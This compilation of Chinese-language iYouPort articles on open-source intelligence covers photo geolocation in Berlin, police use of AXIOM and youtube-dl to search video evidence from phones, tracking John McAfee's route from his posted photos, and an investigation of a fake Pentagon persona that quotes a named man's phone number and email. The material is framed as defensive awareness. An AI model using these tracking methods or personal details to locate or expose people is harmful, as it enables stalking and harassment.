该地区也有几个公园，我将更仔细地检查以便确定是哪一个。下一步是调整我自己的视角方向，使烟囱像原始照片一样出现在我的视图的左后方。

「图」

「图」

然后就很清楚了，在一片空地旁边有一个公园，面对着一排公寓。这将满足在差距分析中确定的所有标准。所以这就是检查出的第一处：

「图」

「图」

把它拉近一点：

「图」

「图」

再近一点：

「图」

「图」

哇哦！

左后方的高烟囱、与照片相匹配的公寓、在前景中的公园（实际上是Mauerpark）、小山（实际上是弗里德里希路德维希雅恩体育公园后方的堤岸）以及之间不寻常的空隙 —— 实际上是曾经的柏林墙。

从另一个方向看时，这就是拍摄者的视图：

「图」

「图」

时间和日期

困难的部分已经完成。现在剩下的就是找到拍摄时间了。

拍摄者一开始就告诉我们她在周末拍摄的，参见发布日期，这意味着只有两个可能的日期，即10月5日或6日。

还是首先尝试曾经在《"新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的"？》演示中使用过的方法。

也就是使用 **Suncalc** 根据太阳的位置和阴影的长度计算出大概的时间：

「图」

「图」

⚠对于新疆火车站来说，它很好用，但是对于这个案例来说，Suncalc很难准确掌握最新的时间。

猜想这意味着拍摄者在当地时间17:45左右拍摄了这张照片，但可能最早，比如17:30，甚至是更迟，比如18:00，其中只有几度。

计算时间比计算日期更容易！

就如我们曾经演示过的 —— 使用历史天气记录，并尝试将天气条件

与照片中的图像相匹配。见这里《信息验证技巧：如何确定照片的拍摄时间？》

这个显然很简单，⚠但是必须说，历史天气记录的资源有可能不准确，并且不同的来源经常会发生冲突。气象站通常也离您感兴趣的位置太远。这些都要考虑到。

对于这个挑战，使用的是 "Wunderground" 来比较10月5日至6日柏林的不同天气模式，尽管 "Wolfram Alpha" 也可以很好。

请注意，Wunderground 实际上给出了柏林-泰格尔机场的结果，这正是拍摄者所在位置的某种方式（它在柏林西北，在这张照片右侧）。

以下是相关时间的周六天气：

「图」

「图」

作为比较，以下是星期日的：

「图」

「图」

因此你看到，周六多云，而周日则比较晴朗，湿度较低。所以10月5日星期六应该是正确的日期。

MCantow 则通过使用历史性的卫星图像来检查云量，从而提出了针对这一部分挑战的更简洁的解决方案。这是相关时间柏林的星期六：

「图」

「图」

柏林以西有云，从这张照片中可以看出。将此与周日进行比较，那时几乎没有阴云：

「图」

「图」

因此，可以确信星期六是最有可能的日期。

最后

差距分析确实有效。当然这不是魔术，但是它确实可以帮助您以更加系统的方式评估您所拥有的信息。

它还可以帮助您采用一种调查方法，将重点放在重要事项上，而不必花费时间钻研无济于事的嘈杂问题。

就是这样，您学会了吗？

原文

取证专家解释如何快速从目标人浏览历史记录中提取证据：智能手机取证如何使用开源情报 - iyouport

开源情报-每个人都可用的武器

【2020年11月5日存档】在数字取证中使用开源情报方式提高效率

浏览历史记录是非常危险的东西，您可能完全不知道自己曾经为什么点击了那些链接，甚至完全忘记了自己看过什么。但是这些记录串联起来时就很容易暴露您的内心所想。我们曾经演示过这件事，见：

- 《浏览历史记录曝光你的内心全景图：开源调查演示》

这篇文章来自拉斯维加斯警察局的侦探和数字取证检查员 Jeff Lomas，他在数字取证领域工作了11年。他的工作是在所有电子设备上提取任何想要的证据，并将提取出的数据转化为可用于进一步追踪调查的情报。

数字取证调查（DFIR）在过去10年中一直在不断增长，特别是在智能手机和视频取证领域。

分析师和调查人员已经从高度普及的数字设备和互联网上存在的海量视频证据中获得了丰富的情报，但是，可用的数据量是压倒性的。数字取证检查员拥有许多技术技能，使他们有能力找到快速浏览数据的解决方案，而参与开源情报的分析师则擅长从各种来源中开发数字情报。

这份演示展示了数字取证检验员和开源情报分析师如何相互学习以提高效率。

场景

「图」

在这个场景中，有一位分析师需要从智能手机中提取数据。取证使用的是 Magnet Acquire 和 AXIOM 来提取数据并进行处理，供分析师查看。分析师怀疑目标嫌疑人在网上观看了与犯罪有关的视频，他们希望收集这些视频，并快速决定可以从中开发出的情报。

Magnet Acquire 和 AXIOM

「图」

Magnet 的 Acquire 工具可以用来从硬盘和智能手机中提取数据，而且对任何要求它的人都是免费的。另一方面，AXIOM 是一个付费工具，而且非常值得，因为它以一种检查员和分析师都能理解的方式来展示数据。

进入场景。下图是 Magnet 如何对提取的数据进行分析的片段。

您可以看到有超过 51,000 个数据点，但实际情况是您可能会在日常使用的设备上看到接近五十万个。 AXIOM 允许您通过在右上角的搜索栏中键入关键字以对这些结果进行快速排序。

在这种情况下，我扮演分析师的角色，输入 “YouTube”，它展示了来自各种来源的结果，例如在目标设备上发现的所有带有 “YouTube” 一词的URL。

从这里，可以点击 “Web Related”，并通过搜索字符串 “youtube.com/watch?v＝”进 一步完善信息搜集，因为这是一个正常的 YouTube 视频URL的格式。使用 AXIOM，现在可以突出显示这些您想要的项目，并使用 AXIOM 的报告功能将它们导出为Excel或CSV文件。

现在，已将数据保存为电子表格格式，它会类似于下面这样：

「图」

这里只标记了一部分要导出的项目，但是现在您可以开始看到我们已经有了要搜索的列表。

快速分析数据

「图」

在现实案例中这个列表可能有几百行长，而且不仅仅由 YouTube 的视频组成。下一步是将视频作为潜在的证据保存下来，转录视频内容，并使用关键字搜索来确定哪些视频能提供最相关的数据。

Youtube-dl

「图」

Youtube-dl 是已经存在了一段时间的热门命令行工具，在 Mac，Windows 和 Unix / Linux 上都可以运行。可以在这里下载：

https://ytdl-org.github.io/youtube-dl/index.html

这里将使用 youtube-dl 下载视频并抓取各自的字幕。这需要使用流行的 ffmpeg 命令行视频/音频处理工具。它可以在这里下载。

https://www.ffmpeg.org/

如果您还没有安装 Python 2.7或3.7，您还需要下载并安装它们。有很多关于如何做到这一点的教程。

本篇 youtube-dl 教程的独特之处在于，它重点介绍了警察如何使用该工具来抓取视频作为证据，并通过视频进行搜索。现在已经确定了几个命令，它们服务于取证/证据收集的目标。

- id (在文件名中仅使用视频ID)
- sleep-interval [SECONDS] (秒数)
- min-sleep-interval [SECONDS]
- max-sleep-interval [SECONDS]
- write-auto-sub (仅 YouTube 获取可用字幕)
- write-sub (从其他站点获取字幕)
- all-subs (获取所有字幕)
- convert-subs FORMAT (支持 srt，ass，vtt，arc)
- batch-file path to batch file' (可以创建一个带有链接的txt文件)
- skip-download (不会下载视频)

其中的一些说明是不言自明的，但这里将分享一些较好的脚本以及期待的功能。

```
youtube-dl --id --write-auto-sub --convert-subs
srt [URL]
```

每个脚本都会以 “YouTube” 开头，每个命令都会以两个破折号开头。这个命令是说让 youtube-dl 下载视频，并将文件命名为与 URL 结尾相同的名字。

回头看看上面的 Excel 文件，您会看到第一个条目是 https://m.youtube. com/watch?v＝1xvR4A33LO8。文件名将是 “**1xvR4A33LO8**”，这样就可以在以后将下载的视频与链接进行匹配。

接下来，使用 youtube-dl 专门为 YouTube 准备的 write-auto-sub 功能，然后转换为 “srt”，这是所有字幕格式中最基本的，也是最容易阅读的。

现在，一次性从 YouTube 抓取100个视频：

```
youtube-dl --id --write-auto-sub --convert-subs
srt --min-sleep-interval 1 --max-sleep-interval 10
--batch-file [path to batch file]
```

您可以看到这里只是在第一个脚本的基础上，添加了最小和最大的范围。这使得 youtube-dl 在下载视频之间等待一个随机的秒数（在这种情况下是1–10秒），这样做是为了避免被 YouTube 识别为机器，强行要求验证。

这里指向的批处理文件路径是一个简单的文本文档，它是通过将URL复制粘贴到文本文档中而创建的。把该批处理文件放到运行 youtube-dl 的同一个文件夹里，这样视频和字幕都会在同一个文件夹里。

如果视频数量非常多，而且网络连接平平，可以考虑标记为 “skip-download”，这样您就可以只下载字幕，然后通过搜索来确定您想下载哪个视频进行进一步分析。

文本编辑器

「图」

您可能已经预见到了这一点。使用任何您喜欢的文本编辑器，但要确保该工具可以递归搜索，或者至少在单一文件夹结构中搜索。我通常会将我所有的srt文件收集到一个文件夹中，然后选择 “Find in Files…” 的选项。使用 Sublime 文本编辑器，结果会是这样：

「图」

看起来很好。现在可以根据关键字搜索快速确定要进一步调查的视频了。

Downsub.com

「图」

「图」

要防备工具失灵，有一个备用计划总是好的。Downsub.com 是一个专门为用户提供 YouTube 等热门网站字幕的站点。Downsub 就像 1（进入网站），2（按下载），3（选择您想要的字幕）一样简单。

「图」

您会注意到这里可以选择 srt 或 txt。txt比srt文件更容易阅读，但它不会给您一个参考关于在视频中的字幕来自哪。Downsub 还可以从英语翻译成多种其他语言，以防您不是英语母语人士。

翻译外语

「图」

您难免会遇到一些您不熟悉的语言的视频。开源情报也可以帮助您解决这个问题。无论是从 youtube-dl 或 downsub 获得的srt或txt文件，都可以用 Chrome 浏览器打开这些文件，Chrome 会问你是否要翻译。

请注意，不要试图使用谷歌翻译网站来完成这项任务，因为有字符限制。

「图」

「图」

最后

「图」

如果警察得到了一个视频，但没有得到字幕，其中是外国语言，同时没有时间/金钱找到专业的人工录入。Google Docs 有一个叫做语音转文字的功能，可以把人们说的话打出来。在大多数情况下，需要一个安静的房间，一个好的电脑外接麦克风，以及一个好的音频源来完成这个任务。

是的，还有其他解决方案，但都相当贵。

总结一下就是：# 通过移动取证报告过滤以获取视频证据

- 创建具有相关数据的Excel / CSV文件
- 使用 youtube-dl 下载视频和字幕（或 downsub）
- 使用关键字搜索字幕
- 确定相关视频以继续评估/调查

警察利用这种方法可以快速抓取视频，并在视频中进行搜索，而不需要花费几个小时的时间去观看，从而能够快速对这些数据进行推演，并及时产生所需的情报。

这篇文章非常简单，仅仅陈述了视频证据提取如何提高效率的简单方法。作为防御者，您不应该使用手机搜索或保存任何重要的信息，正如我们在正在进行中的 “敌对环境” 安全性系列中强调过的；尤其是当您准备参加抗议活动或者计划做任何组织行动的情况下，特别要注意这点，因为在这种情况下您极有可能被没收电子设备。〇

Combing Through Video Faster Using DFIR and OSINT Skills

原文

只有一张照片，追踪目标人的长途行踪：案例演示 - iYouPort

开源情报-每个人都可用的武器

您在社交媒体上发布的任何东西都可以用来追踪您，无需怀疑这点 ..... 本案例演示非常简单，但是，它的确综合了开源情报/社交媒体情报追踪的大多数基本思考方式，于是它应该作为一个有效的模版：攻防兼备

「图」

「图」

《你曾经在社交网络上发布过自己的照片？你危险了！》是的，不论您发布的是什么，其中几乎永远都会带有追踪线索（仅仅是程度不同）—— 在“侦探挑战”游戏的追踪演示中已经充分证明了这点。

“开源情报”专栏中作出的所有调查演示都很重要，并不是说只有当您致力于成为大侦探时才需要这些知识，我们首要服务于防御者 —— 通过曝光追踪者的思考方式和做法，帮助您看清有关自己最致命的薄弱环节，抢在政府间谍前面尽快弥补它。

不要等到身边有人被捕入狱再来思考安全问题，那可能已经晚了。

「图」

「图」

上图中这本书在这里下载：https://t.me/iyouport/6947

社交媒体情报是开源情报的重头戏，它以其低技术性和广泛的工具利用，成为大多数初学者的入门课—— 请注意，这其中包括政府间谍。

也就是说，政府间谍不需要投入太多的精力和资源，也可以掌握这种

追踪侦查的方法。于是，你知道，它才是最危险的一种。

也是为什么我们单独发布了《社交媒体情报和反情报工具手册》；用户名不是唯一的要害。您的简介、您的照片、您的跨平台信息共享、特定偏好、甚至语言风格，都是线索。

这些追踪演示体现的是 *对抗性思考方式*，这是开源情报给普通人的最好的礼物。

Benjamin Strick 演示了一个很棒的追踪监视，完全通过社交媒体情报；简单说是仅仅通过目标人晒出来的照片。在这里看到原文《Finding McAfee: A Case Study on Geoprofiling and Imagery Analysis》。这次的追踪目标是著名企业家 John McAfee，以体现时间线上两个点的相对地理位置如何在两者之间给出可能的路径和可能的位置；即 追踪路线图。

这里只有很普通的社交媒体照片。只用它来做到这点。

这项追踪演示分为4个部分：

- Point B：要定位的照片
- Point C：目标人要去哪里
- Point A：目标人何时何地开始旅程
- 对 Point B 图像进行地理定位

本案例演示中所使用的工具是完全免费的，每个人都可以做到，无需任何技术基础。非常建议您试试看。

Point B—要定位的图像

以下是需要用于追踪的目标推文。挑战：不言自明。

「图」

「图」

那么，在这种情况下您应该从哪里开始呢？我们曾经介绍过这些基本思路，您还记得吗？

使用第一种图像情报（IMINT）方法，在图像中询问：“我看到了什么？”。

在此图像中，您可以找到许多线索能够表明这张照片的拍摄地点。我将在下面的图片中对其中一些线索进行编号。

「图」

「图」

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《”融化” 所有债务 ……如何构建黑客树莓派—黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法—黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 持续更新中

好了，现在来试试看？您能从仅仅一张照片中看到什么？

1、首先就是本次追踪的目标人 McAfee。你可以通过他的帐户挖掘到更多线索，这毫无疑问。

2、那个屋顶的颜色表面它是某种品牌。

3、那几台加油机表明这里既是加油站，又具有加油站的品牌或名称的唯一标识。

4、大型卡车使用此加油站，因此，这个地方很可能在空旷地区或沿高速公路的位置。

5、最左侧那扇门的门口有花，这意味着它可能是加油站的商店。

6、远处地平线上有一条浅蓝色带。这通常是存在大量水的区域的特征。

7、远处的建筑物将是使用卫星图像工具搜索过程中的线索。

8、地平线上没有建筑物或树木的杂乱信息，表示这可能是平坦的区域，并且不在市区范围内。

以上**8**个点非常重要！它将指导您的追踪全程。

如上，您必须参考很多线索。现在已经完成了对初始图像分析核对的列表，因此我们可以按照该列表进行处理以调查所有这些线索。

首先是目标人 John McAfee，他可能会在自己的社交媒体账户上暴露出相关信息。

「图」

「图」

在上面的最初推文中，目标人表示他“正在前往伦敦”，并且照片是过去拍摄的。这确定了追踪的目的地。

那么，他如何去那里？考虑到上述八个要点中分析的照片的位置，很明显他和他的安全小组成员一起在加油站。因此，他很可能会开车前往目的地。

Point A—目标人何时何地开始这次旅程

目标人是从哪里来到这儿的？

在这里，您可以开始使用被称为“地理剖析”的情报工具 —— 也就是说，将按照时间顺序绘制一个简短的时间轴，以了解 McAfee 的位置。

在他的 Twitter 时间线上进行查找，很容易找到此推文，它就在前两天发布：

「图」

「图」

此推文最重要的是，它为我们提供了位置以及目的地。仔细看，下图右侧的红色框：

「图」

「图」

下面是局部特写，上面写的是 “Hotel Schlicker”。

「图」

「图」

简单搜索即可知道，这是德国慕尼黑 Munich, Germany：

「图」

「图」

现在您知道这是拍摄照片的地方，有很多方法可以做到这点。

最简单的如 Google Maps，将照片中的墙局部切下来进入搜索，寻找匹配，如下：

「图」

「图」

「图」

「图」

其次，为进一步验证，您可以从 Hotel Schlicker 的 Facebook 页面上的图像中识别出这个标志。如下：

「图」

「图」

对于时间定位，出于本文的目的，没有必要进行阴影计算。仅仅在时间轴上找到此地理位置图像就能提供至少以下两个参考点的原始线索：#2020年1月26日在德国慕尼黑的Schlicker酒店

- ?
- 伦敦（目的地，在未来的某个时间点）

1. 这个地点可能在欧洲，于是使用关键字 ‘Europe’

- 然后无疑是加油站 ‘Fuel Station’
- 最后就是颜色 ‘红和白’ ‘Red and White’

1. 靠近水域

- 可能在空旷地区或城市外
- 沿高速公路

所有这些就是关键条件。在查看附近有大量水的主要道路的地方时，很容易确定路线上的两个可能位置：

「图」

「图」

那么究竟是哪一个呢？

为了对 Esso 加油站的位置和通往伦敦的路线进行叠加，这里使用了照片编辑器 GIMP（更改了其中一张照片的透明度）。还有其他方法可以做到，但是这种方法比较简单，并且将 Google Maps 作为主要操作工具。

「图」

「图」

这条路线上的这些站点之一靠近水域：

「图」

「图」

好了。它在 Baden-Baden 附近 —— 它满足了我们所追求的许多指标，例如水域、主要道路、安静区域、和目标路线上的 Esso 加油站。

「图」

「图」

「图」

「图」

现在可以开始将该位置与 Point B 图像进行匹配，以查看其是否适合 Google Maps 卫星图像上可见的指纹。

「图」

「图」

使用根据图像中的对象进行地理定位所获得的所有信息，可以肯定地说照片是在此处拍摄的：https://goo.gl/maps/EwTD6HKfeQupNka98

当然还可以进行进一步的验证。但是，出于本案例的目的，照片中看到的线索与卫星图像是唯一匹配的，因此提供了更强的地理位置证据。

您学会了吗？或者说，您知道社交媒体照片的危险性了吗？〇

注：本案例研究的目的是激发开源情报社区的技术探讨，绝不损害本案例研究中确定的目标或任何企业或个人。

Finding McAfee: A Case Study on Geoprofiling and Imagery Analysis

原文

合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分） - iYouPort

开源情报-每个人都可用的武器

他和他们都知道那个著名的“他”并不真人，但是他们不说，他们帮助保守了这个虚伪的秘密。为什么？

「图」

「图」

如果您还没有读过第一部分内容，在这里看到《享誉盛名的”五角大楼官员”事实上是一个假人，如何揭露”他”？（第一部分）》

继续前文内容。

俄罗斯博主揭露假人的虚伪，但却无效

2015年11月，一位在中国的俄罗斯博客作者 Ruslan Karmanov 发表了一篇名为“David Jewberg 的生平与时代”的博客，该博客嘲笑称这个假人 Jewberg 居然是一名合法官员，并对假人的观点感到惊讶。

这篇文章记录了他在博客出版前几周与“David Jewberg”的在线互动。

「图」

「图」

“David Jewberg”试图说服 Karmanov 他是“真实的”，尽管这位俄罗斯裔博主明显认为“Jewberg”的角色是由反普京活动家维持的，可能是在乌克兰，并得到了美国同情者的支持。

为此，Jewberg 试图通过分享纽约时报当日的照片、华盛顿特区的星巴克收据、以及 Jewberg Facebook 页面背景的枪支照片，来证明自

己是真实的。

下面是假人发送的相关照片。

但是这位俄罗斯博主仍然不相信。

「图」

「图」

「图」

「图」

「图」

「图」

这篇博客于2017年最后更新，作为专访 Jewberg，其中还提供了他从这个假的“五角大楼官员”处收到的警告的截图。

「图」

「图」

回复是从 major.jewberg@gmail.com 邮件发出的，这是 Jewberg 公开展示出来的一个地址。

在2015年12月的一个单独的案例中，“Jewberg”要求 Karmanov 为他的博客帖子公开道歉，否则会“受到惩罚”。（目前这些帖子仍可以在线查看）

Jewberg 有理由感到不安，因为 **Karmanov** 的博客帖子仍然是谷歌搜索**“David Jewberg”**能返回的最佳结果。

然而，尽管有良好的搜索引擎优化，但是，这篇**2015**年**11**月的博客文章几乎没有减少 **Jewberg** 的突出地位，并在接下来的一年里，这个假人的影响力达到了顶峰。

的确，辟谣的作用有可能很低。就如我们在上篇文章中一开始展示的，直到今年，中国门户网站依旧在引述这个假人的言论，称其为“五角大楼官员”。

「图」

「图」

谁是 **Dan K. Rapoport**？

博主 Karmanov 做的不仅仅是记载了这个好斗的“五角大楼官员”，他还记录了这个假“官员”与华盛顿一个非常真实的人的联系：Dan K. Rapoport —— 苏联出生的著名美国金融家，他的家人移民到美国时他还是个孩子。

Rapoport 曾在俄罗斯工作多年，他还在最近的一次采访中描述，他觉得由于自己支持国内反对派，于是他需要离开这个国家。

如 Karmanov 所记录的那样，Rapoport 一直在积极支持假人 Jewberg 在线的可信度。

特别是，Rapoport 发布了一个他认定为“David Jewberg” 的男子的照片（同一男子的照片在 Jewberg 的 Facebook 简介中作为特色出现），并称他为“多年的私人好友”。

「图」

「图」

「图」

「图」

要理解为什么 Rapoport 可能对 Jewberg 的角色有兴趣，了解一些关于他的传记的基本事实是有帮助的。

Rapoport 于1970年出生于里加，1978年随父母移居德克萨斯州，当时他的父亲弗拉 Vladimir Rapoport（一位岩土工程师）在休斯顿找到了一份工作。

在美国长大后，Rapoport 于1991年获得了休斯顿大学的学士学位。

正如许多账户中详述的那样 —— 包括他自己的 LinkedIn —— Rapoport 后来在莫斯科的 CentreInvest 证券（CiS）担任管理合伙人多年，在该公司的纽约分行经营期间，他完成了各种跨境交易。

按照美国证券交易委员会的规定，从2003年左右到2007年11月，根据“交易法”第15（a）CI-Moscow 和 Rapoport 直接或间接地要求美国投资者购买和出售交易稀少的俄罗斯公司股票，而没有注册为经纪自营商。

Dan Rapoport 是 Rapoport Capital LLC 的负责人，Rapoport Capital LLC 是一家专注于早期投资的风险投资公司。他于2016年底从华盛顿特区搬迁到基辅。

Rapoport 在2017年初短暂地成为了美国的焦点，当时众多媒体报道伊万卡·特朗普和贾里德·库什纳搬进了 **Rapoport** 以前与家人一起拥有的**D.C.**豪宅。

Rapoport 还多次声称曾为罗姆尼和杰布布什总统竞选工作。

「图」

「图」

「图」

「图」

但是布什和罗姆尼竞选活动的代表回答说，他们无法确认 Rapoport 是否参与了这些活动。

可能是他自称为两位候选人顾问的角色并不足以让其他员工了解他。

布什的一名工作人员称，Rapoport 不是该活动的雇员。正如下面的交流中所呈现的那样：

「图」

「图」

Rapoport 和 **Jewberg** 的协调攻击

Karmanov 还记录了另一个实例，目前在 Facebook上仍然可见，其中 Rapoport 显然威胁到了D.C.居民 Victor Oganjanov。

在回复 Oganjanov 的 Facebook 帖子时，Rapoport 写道，David Jewberg 将 Oganjanov 的在线行为报告给了他的雇主 Textron，后者

是一家美国航空航天和国防集团。

最初，Rapoport 对 Oganjanov 关于黑海导弹驱逐舰罗斯号 USS Ross 事件的立场感到不满，与 Rapoport 相比，Oganjanov 本人认为这艘驱逐舰的任务本身就具有挑衅性。

两人就俄罗斯的军事技术问题进行了辩论，Rapoport 很快就指责 Oganjanov 散布谎言，并警告称 “David Jewberg 将于周一以五角大楼的角度写信给 Textron。”

「图」

「图」

不久，在同一个主题中，Oganjanov 发布了一系列引用消息，所有评论都提到了假人 Jewberg。

「图」

「图」

一条评论引用了来自 Rapoport 所在地区的短信（调查证实此号码属于 Rapoport）这条短信是这样的：

> “… +1 (646) 460–3961: “Good bye job Victor. Good bye America. Hello NSA investigation. Hello FBI interrogation”

延伸：《如何快速知道未知来电的真实身份？》

另一个消息中引用来自 Rapoport 的个人电子邮件的内容（调查证实该电邮地址属于 Rapoport），内容指责 Oganjanov 分享“非常激进的反美咆哮和非常专业的亲俄罗斯信息”，并暗示 Textron 将“重新检查他的权限等级”。

根据 Oganjanov 的 Facebook 评论，这封信是由“Major David XXXXXX”签署的。

仍然居住在华盛顿的 Oganjanov 证实，作为调查的一部分，这些帖子是真实的，他的确收到了这些消息。

Rapoport 的“朋友和兄弟”

在2015年5月的另一个例子中，Rapoport 在 Facebook 页面上将“David Jewberg”称为他的“朋友和兄弟”。

「图」

「图」

当被问及 Rapoport 自己是否是军事专家时，Rapoport 回答说：“我其实不是，但我的朋友和兄弟 David Jewberg 是。请阅读他的意见”。

在众多帖子和通信中，Dan Rapoport 公开宣称是“David Jewberg”的联络人。

2015年10月，Kseniya Kirillova 试图与这个难以捉摸的五角大楼官员举行会议。 Jewberg 促使她直接通过 Facebook Messenger 与 Dan Rapoport 讨论。

根据 Kiriya Kirillova 和 Dan Rapoport 之间的谈话截图，Kirillova 在2015年10月对此进行了调查，Rapoport 告诉她，她必须向“David Jewberg”提供“可进行背景检查的文件”。

「图」

「图」

「图」

「图」

在 Kirillova 对向现实生活中从未见过面的人提供了这些文件后，Rapoport 向她提供了自己的个人信息，并承诺试图让“DJ（David Jewberg）”参加会议。

在与 Kirillova 进行的 Facebook 交流中，Rapoport 还坚定地确定他与Jewberg 合作。

俄罗斯反对派的宠儿

Rapoport 还将自己作为 Jewberg 与 Ilya Ponomarev 之间的联络人，**Ilya Ponomarev** 是自**2014**年以来一直居住在俄罗斯以外的俄罗斯著名国会议员和反对派人物。

在2017年对话记录中，Ponomarev 表示，他认为是个人朋友的 Dan Rapoport “对与 David Jewberg 建立工作关系持开放态度”。

Ilya Ponomarev 是假人 **Jewberg** 的信誉之所以如此之高的几大推动者之一。

例如，在2016年8月，他在一篇 Facebook 帖子中感谢 Jewberg，将 Ponomarev 比作雅典的民主力量伯里克利（存档），于2017年1月在他的 Facebook 上发表了关于北约军事能力的帖子。

「图」

「图」

假人 Jewberg 则通过重新发布并添加了一个冗长的故事来充分利用 **Ponomarev** 的支持，他声称他在莫斯科的美国大使馆工作时亲自会见了 Ponomarev。

这一说法甚至得到了**Ponomarev** 的认可，他感谢 Jewberg 的 Facebook 帖子：

「图」

「图」

「图」

「图」

请注意 **Ponomarev** 可是真人，他只是几个俄罗斯反对派人物中的一个，他们显然都相信或支持这个虚构的反普京“五角大楼官员”的故事，包括前文中提到的 **Rabinovich**、**Borovoy** 和 **Sotnik**。

然而，与其他反对派不同，Ponomarev 当然知道这个“Jewberg”不是真人。

在2017年与调查研究员交谈时，Ponomarev 表示很清楚他知道“David Jewberg”不是一个真人，而是一个在线角色。

Ponomarev 没有详细说明是谁操作了这个虚假人物，但他说这个角色被定位为华盛顿的知名人物，操作者最有可能是对俄罗斯、美国和乌克兰事件持续关注的相关方，操作者在试图影响这些国际关系。

Ponomarev 描述了假人 David Jewberg 在乌克兰和俄罗斯媒体报道中的受欢迎程度之高如何成为了该角色操纵者的一个惊喜。

至于假人操作者的身份，如果 Dan Rapoport 是 Jewberg 的“操作者”呢？Ponomarev 避免回答这个问题，但是他确实说 Rapoport 公开与 Jewberg 建立了“工作关系”。

然而，这个如此知名的人设表明，Jewberg 和 Rapoport 确实是同一个人。

Satter 的确认：美国之音也是道具

2017年6月，Jewberg 发布了美国之音俄语部与美国著名俄罗斯专家 David Satter 的访谈链接，并补充说 Satter 是他的私人朋友。 Satter 也被列为 Dan Rapoport 在 Facebook 上的朋友。

差不多一年前，2016年9月，Jewberg 在华盛顿一家书店的地理位置上发布了一篇关于 Satter 的书的介绍帖子，并称 Satter 是“私人朋友”。

David Satter 本人点赞了那个 Facebook 帖子。

「图」

「图」

「图」

「图」

Satter 在回复电子邮件中证实 Rapoport 实际上就是“David Jewberg”。

“我知道 *David Jewberg* 是 *Dan Rapaport* 操作的假人。*Dan* 是我的朋友，我不反对他使用美国之音的文章。”

之后他还澄清说他并“不熟悉该博客的背景”。

虽然一些著名的反对派人士和俄罗斯专家能够说“Jewberg”和 Rapoport 之间存在某种联系，但 Satter 自己则很清楚，Rapoport 操作了 Jewberg 的角色。

Jewberg 的在线随行人员

通过阅读有关 Jewberg 的 Facebook 个人资料的评论，能看出一种模式，其中来自美国的实际可核实身份的个人的定期评论流，实际上支持了 **Jewberg** 的主张。

简单说，这是一个合谋的谎言。

这些名流“证人”还会在 Jewberg 的 Facebook 时间线上或相关的 Facebook 群组中解释假人的临时缺席，例如他被暂时禁止进入社交网络时。

在追踪这些人时会发现，他们都有一个共同的连接点：Dan Rapoport。

与 Jewberg 有着特别奇怪的联系的人是 Ben Anderson，他是美国海军中的现役中尉指挥官。

在 LinkedIn 和其他平台都清楚地显示，Anderson 是 Rapoport 的私人朋友。 Ben Anderson 于2016年1月25日在俄罗斯发布了关于“David Jewberg”的 Facebook 个人资料：

> “亲爱的 David 的读者们。他让我告诉你们他暂时不能发帖了甚至无法回复你的消息。然而他的电子邮件 major.jewberg@gmail.com 功能齐全。他将于2016年2月23日再次返回 Facebook”。

「图」

「图」

美国海军媒体办公室证实，曾经在 David Jewberg 的时间线上留言的人的 Facebook 简介确实属于 Ben Anderson，但澄清说 Ben Anderson 的评论不代表美国海军。

媒体办公室还确认了 Ben Anderson 名下的 LinkedIn 页面也属于他本人，其中的特色是 Dan Rapoport 表达的热情支持（“我受到 Ben 的启发，我希望我的孩子长大后像他一样出色……”）。

「图」

「图」

Anderson 没有回复评论请求。

2017年11月，海军刑事调查处的一名特工通过电子邮件表示，该部门正在就 Anderson 关于“他可能虚构自己是国防部官员”的问题进行调查。

假人 **Jewberg** “参加”的许多社交聚会以及他在 **Facebook** 上最直言不讳的支持者都与 **Rapoport** 也参与其中的组织有关，包括"当地的共济会"。

例如，Rapoport 在华盛顿地区共济会的一些 Facebook 帖子中标记了“David Jewberg”，而 Jewberg “本人”在华盛顿分享了一些共济会的帖子和照片，而 jewbergslist.com 网站上还有一篇关于共济会的文章。

“Jewberg”和 Rapoport 之间社会关系重叠的另一个例子是 Robb Mitchell，他是一名现役美国陆军上校和共济会成员。

在下面的照片中，David Jewberg 祝贺 “我的朋友、同事和兄弟” Robb Mitchell 成为一名上校。

「图」

「图」

Jewberg 试图通过频繁提及一些公开吹捧自己的军事资历的 Rapoport 的朋友们来提高他的可信度，例如 Dmitriy Minin 和 Eric Konovalov。

这些“朋友”还会发布照片和其他内容，这些照片和内容都提到了 Jewberg，好像他是一个真人那样。

比如 Eric Konovalov 在2016年3月的 Facebook 帖子中展示了一群士兵的合影照片，还配上了文字：“还记得这个美好的一天吗，David？我们肯定有一些有趣的兄弟！” 就是下面这样：

「图」

「图」

许多习惯于支持 Jewberg 作为一个真正的、有良好社会关系的活人的人们都在 Rapoport 的朋友和社交圈子内，包括在同一个地方的共济

会组织中。

这些联系人都生活在华盛顿特区内或周边。

但另一个证据可能更重要，那就是：**Steve Ferro**，他的脸曾经被用来代表假人 **Jewberg**。

「图」

「图」

「图」

「图」

「图」

「图」

目前住在德克萨斯州的 Steve Ferro 是 Dan Rapoport 在SAE兄弟会里认识的哥们，他俩都曾就读于休斯顿大学。如今两人仍然在 Facebook 上互相交流。

「图」

「图」

「图」

「图」

就如本调查第一部分中讲述的，假人 David Jewberg 的 Facebook 页面上发布的一些照片也出现在 Ferro 的页面上。

Steve Ferro 在2017年9月18日接受采访时否认了任何有关假人 David Jewberg 的消息。

然而，就在那次接受采访之后不久，**David Jewberg** 使用过的一些照片在 **Ferro** 的 **Facebook** 页面上不再可见。

这非常说明问题。

上述提到的所有人均拒绝对此发表评论。

Rapoport 的相关性

这项调查的诸多证据引出了一个显而易见的问题：Dan Rapoport 是假人 David Jewberg 的创作者和操作者吗？

David Satter 和华盛顿“自由俄罗斯”基金会的消息来源说：是的。

Rapoport 显然已成为假人 Jewberg 的主要联系人，并经常在他的 Facebook 页面上发布关于“他”的信息。

此外，Rapoport 是 David Jewberg（也就是 Steve Ferro）和俄罗斯反对派人物以及经常在 Facebook 上与假人 Jewberg 互动的华盛顿地区专业人士之间的共同联系人。

